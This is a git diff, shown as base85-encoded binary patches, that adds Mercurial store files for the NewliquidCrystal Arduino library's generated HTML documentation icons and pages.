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 ipZK~c&VbeVNrj$Sft{!tLg#??eCq zCxVp}d3j|k_`LfIHzNXaPM>V={0M6*48AbXtY2iSUnt=5!7 ziF&z!n%Gb+73A~ejgri&b^W{~AG=&c<4O@@mqIkJ4&&X{E*3hY&yOw9&)_@#L(Wh4w&_(B<)PCL5V(K5#hzq>z~bMMci6 zsLslfBA|7poo)w!BvK+jd$|@om>z}eg(Xla1f$rWPa(NMy>y77Ub)E;`u^M~*E60AP$vg8jZHqKU*jq(dA@s=Yhe$5dKm zv1xrfKIrt{f_m3GOV_73bQS;%q>c)49F!J1b$0)DmED`Hve|Y;;%<9{O}9o^XS~d2 zS{2rvsIa+-Dw`AE%-^Z8`KdaaYL;1X=-lfgGZ5#`Qvmo^`2YXWawqr;)cG9wf()sl P00000NkvXXu0mjf0L3<# literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/folderopen.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/folderopen.png.i new file mode 100644 index 0000000000000000000000000000000000000000..d6ab6d09feb89f21abcd71d1ebd045e94540f00a GIT binary patch literal 662 zcmV;H0%`pK0RRC20000000LG300LD200000006cB|NsC0|NsBMJ)cz#%BE=#gjFl{ z5vDbU^}?S300000000000001WiBL{Q4GJ0x0000DNk~Le0000O0000M2nGNE0NQ^Gu#5Q-&eTf}Ap+h?$VZYOz-=F*4@9v(wYC#YH zz^zFJ0B%$MeSkRtNR!i!8+#?%05B=qWShSK@Ga=NeNblPqt;n_G?~%DKz;h=^zky={M45g@%rUXj7fsQ z$Ae?%!MY`*tW}DzNwaMmW3luFnB~0G#-04gKIyo4{&YFUB((I=dn`Bz9a_EucaR5n#1ORWm9QagRjx2Pl zY7jCA9Y#TT9|v|V227tBaMz3-a0*n!NiPaqrE_K%?Y%n;YF24fgXsFCZ(d_?#r(Yc z8~eM@VqKKNfTE;44~Aj>)ts`E-_rw_d6T0Kr#X*0jPCg>z>l*YfbrlgMGKy0vo`5Y z0EmsmMWahqecWCWI~%sxZd#&s-xRG?Q#6+i(X8uY?Ve7yF4}9R*lJY7_PQk=wW{I? wooTOD#LC_BrST&&%f>lXDefaA#wk#=!V` R_Mu%MaZgu2mvv4FO#orXC?Ws= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2doc.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2doc.png.i new file mode 100644 index 0000000000000000000000000000000000000000..4507c9ec031ad3662dbc8956765ea41bb85d090e GIT binary patch literal 827 zcmV-B1H}9Q0RRC20000000R2}00Q~|00000006B2|NsC0|NsB!0D@STk0hP8 zE5W|;0=c9B00000000000001WiBL{Q4GJ0x0000DNk~Le0000O0000M2nGNE0NQ~+&hy*h9Qu$ zyMz!}rh%6*@m-62=<(#)F8R>q!;2yFOEn(Vm&Yn`3fSXKq-mqD16ssb-e*V zK6JS}mgUjoIve$7Pe@M>jtJ`b?~ioUTBGTLk{a@%#}7aL%1*OGK6D9Oi)UL+vgebh z^I&-(ZWxf^oK6l^DgO>P0F>XZSSF^WO(4*2`}O&FeF02 zqu=Xjt-1DbfnOFjXtfXNOF5WIGCXjOoo1V(5BA#!XY=5t_BW?XOpJy&mSUz{;`a4n zrYG`T`=~%M=Mi`|nZ6{QPIUSlyaWI|c=&{ck-i)*4KX=Lme8i={MC zq-l4$nK@IEr4Zbh8sy8F5w1@T^3AO=X38b*&6WA&Qi1mh0SQ|Xc-GmH3?M{zEv{@a zzf|MJUWd)bK81|OP%&U>Ws8l?Cf|NFfn&$EiJ!ny28I-r`hBjBXPK>xaOd_1eDUcJ zqwn-FTN&ZIuP-5`z%b%(i+J>L*d9DwV{v7Rp<=-5dgFu#ljFJ93jM}YbYp6e*~9uN1x5-r{or^hwe6+dpN6l z(m&3Fx1RB3P0iV(#&oatN7L1BPvW&DIDUSdT>5jzUs+>CMnMIpoSfRN^Mo2*7ij3V zxdxouy`y;byjulUbNyZ&U9P{)YI}ZIpxzFRr?C~5;!m5ppB=_YEXLY-qp{Md*bdN^U8j7Fra(i-xo?kVx^~*KGgP!{%m_|$IW!uqVSHSF0)|5 z_jHDd^K7^2Jtz>A_$?yXapU>Ed^i4?H=6=q6tjp38gMUqGwJI@r+xolOuaK>euI1j zx6%ZaLVHdIjinzx{Y|&ovwH?tr32&UBVu27y(!I(NP2yVCG4q(WXX5mJBdczO0Vnh zw=6qWuF)tj@#fu610{tB6;Y;53{7&Gn>1Zng#E5vm{5E812daoW8?x6$6rq2g4rxj zG(KpEF&>CBZ{T$QST6iX!>jV01-pE3vm*D0vc=^WRQI=L%$>6)#ct-t$<4iAYH@^%1VwofBksr>aYuMs{-}UiG97aX8H74^WydeT{>Ny vY8$Tm;>?Ye>GdH2r*?n;_y1zwln3Hhe#-omyqA;-OfL+cu6{1-oD!Mv+45?sz8*86`*+Jz0T~)QxTUYj3__bts z-QMDRCCFu>gyf7L3_LZ=%lLfGq@^Z3x89(zQCY1-h}&aoSBT&=rBIDPwkg|oerJe% zYqfQcfV;zQhaex+k41l-y-Y)HOF3yhL~J$mZ?j<;>W<);<% zXC`(iwu*Y4QAjelEyW=As<`4yLiQQYV+U88|GwCJm0@Ag#TC;6gY}%AE_ycqZsT*O zP%jP}@qaa%EA8cZ3f}t_pYhCNJFMK?WE0G#5SZQJc&1ZXsZD^%rDc!tY(;}35_0_k z6U-ts876Pxl#t|hS#E3MqRAN9#>4nGq_oCq!X(8O)?VWcd^!oUTsXAfY?l#;X7>wR z#^B;rD5k2`f7`OOYo1O0>D~mhlL~w5<$j0rDb3SLlKHmp@y*A(lY^%`W-w?gFxvFD z|N0}V-!_p4u1uc8Hiu;%o6r7Y#e>WB{}!*^;CSrrsnx9vS8859@^@Wvr(k#R_2_KV zy*If^e($>UR&{B#Z~S&Ko4qw>FRxv;-1@Xv{+f`l&$1TeZ*{H(DxJG@RotGaO53Xk k%a-r^{J;HkIAST&&%f>lXDefaA#wk#=!V` R_Mu%MaZgu2mvv4FO#orXC?Ws= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2link.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2link.png.i new file mode 100644 index 0000000000000000000000000000000000000000..4507c9ec031ad3662dbc8956765ea41bb85d090e GIT binary patch literal 827 zcmV-B1H}9Q0RRC20000000R2}00Q~|00000006B2|NsC0|NsB!0D@STk0hP8 zE5W|;0=c9B00000000000001WiBL{Q4GJ0x0000DNk~Le0000O0000M2nGNE0NQ~+&hy*h9Qu$ zyMz!}rh%6*@m-62=<(#)F8R>q!;2yFOEn(Vm&Yn`3fSXKq-mqD16ssb-e*V zK6JS}mgUjoIve$7Pe@M>jtJ`b?~ioUTBGTLk{a@%#}7aL%1*OGK6D9Oi)UL+vgebh z^I&-(ZWxf^oK6l^DgO>P0F>XZSSF^WO(4*2`}O&FeF02 zqu=Xjt-1DbfnOFjXtfXNOF5WIGCXjOoo1V(5BA#!XY=5t_BW?XOpJy&mSUz{;`a4n zrYG`T`=~%M=Mi`|nZ6{QPIUSlyaWI|c=&{ck-i)*4KX=Lme8i={MC zq-l4$nK@IEr4Zbh8sy8F5w1@T^3AO=X38b*&6WA&Qi1mh0SQ|Xc-GmH3?M{zEv{@a zzf|MJUWd)bK81|OP%&U>Ws8l?Cf|NFfn&$EiJ!ny28I-r`hBjBXPK>xaOd_1eDUcJ zqwn-FTN&ZIuP-5`z%b%(i+J>L*d9DwV{v7Rp<=-5dgFu#ljFJ93jM}YbYp6e*~02s2$fziR!Xh|NYZ1{qvXHDIc=Gr-TCmrDvH z$m{9h5(K0LfLM%!4M?6`B~t^WmUy~2hEy=VoomR~=qS)?|45+k0n>ZAa|WUdFKD=_ zPqb(ZTON?D!o_}oQDaN}da>1kC+0`Y{%bm^e%E)S_ix{wxxG)&X@Qri_R8$$`x0C3 z9jvL;Xee9q|IISLH*Aab*}pCJFSsmqqgG)3oh|+|4+`v02s2$fziR!Xh|NYZ1{qvXHDIc=Gr-TCmrDvH z$m{9h5(K0LfLM%!4M?6`B~t^WmUy~2hEy=VoomR~=qS)?|45+k0n>ZAa|WUdFKD=_ zPqb(ZTON?D!o_}oQDaN}da>1kC+0`Y{%bm^e%E)S_ix{wxxG)&X@Qri_R8$$`x0C3 z9jvL;Xee9q|IISLH*Aab*}pCJFSsmqqgG)3oh|+|4+`vST&&%f>lXDefaA#wk#=!V` R_Mu%MaZgu2mvv4FO#orXC?Ws= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2plastnode.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2plastnode.png.i new file mode 100644 index 0000000000000000000000000000000000000000..1c71c8efe2c1002b00e827b5acb11f4395dbf08e GIT binary patch literal 280 zcmZQzWME`~fEz&SI+VTUKNQ^CyZ3v-zm( z0`ho0JzRo-v;Yu`aj*f&ldEKEfYdxs7srqa#F)F@b)&9F1oAq?tp>s z1_|{U@-O7l_~lDkZ^dn`-=0_%#nSxg=X=$M_st&4y^Be!(qHP*`OEbkAH#tM#T;_k z3CUW|bq;7>=CEMx7u{ewb(ijgwWu9&9du6hsH z&iFjNQP#?S;l{!BETRUPM)lqW`n#BeCCl&s=x( z0`ho0JzRo-v;Yu`aj*f&ldEKEfYdxs7srqa#F)F@b)&9F1oAq?tp>s z1_|{U@-O7l_~lDkZ^dn`-=0_%#nSxg=X=$M_st&4y^Be!(qHP*`OEbkAH#tM#T;_k z3CUW|bq;7>=CEMx7u{ewb(ijgwWu9&9du6hsH z&iFjNQP#?S;l{!BETRUPM)lqW`n#BeCCl&s=x=) zPI{D-knrH^mjX_vOF29|Iy^Ey4%6QE{cUo1)v&xf*@N}*?cLme=WwOolDqeRf1=v? zPe1qim-zTS+qg5|B*Xf&S@ePDan%)#Ze2I!*p}U#I9*(d!}EM;gv#aGZxXjppE^GK z`t@1y7b@yXPs?}i`@R3`=fCImzg6eoid}z0>A{gk#~6!QAB*$LkKb>%zhgRm+jP-u z?e;t6?#)?l`}Omx|Dwk(T2^kZ4|}`q|N5(UH)hZMwD|hVM@^H@`|s^JtD<0dJ-z;h e^lke&Z1R3ge-Ax)`Re(mbD9e|8A|UaH39&zgp~6D literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2vertline.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2vertline.png.i new file mode 100644 index 0000000000000000000000000000000000000000..cc2d8c88e66ca625b077257d5719887a18c6d8ad GIT binary patch literal 147 zcmZQzWME`~fM6gM1ZA)J4+RXmzXIbfJcw|)c20g%viSx5w3U~kYQR)!XMmqOFP9V- zkjLxk;Q}&10Eopn*ns58RWda|O48HCF{Fa=?cIYw4g>ST&&%f>lXDefaA#wk#=!V` R_Mu%MaZgu2mvv4FO#orXC?Ws= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/functions.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/functions.html.i new file mode 100644 index 0000000000000000000000000000000000000000..bab77382a744f6b84898b337826144d0ffb5715c GIT binary patch literal 7778 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 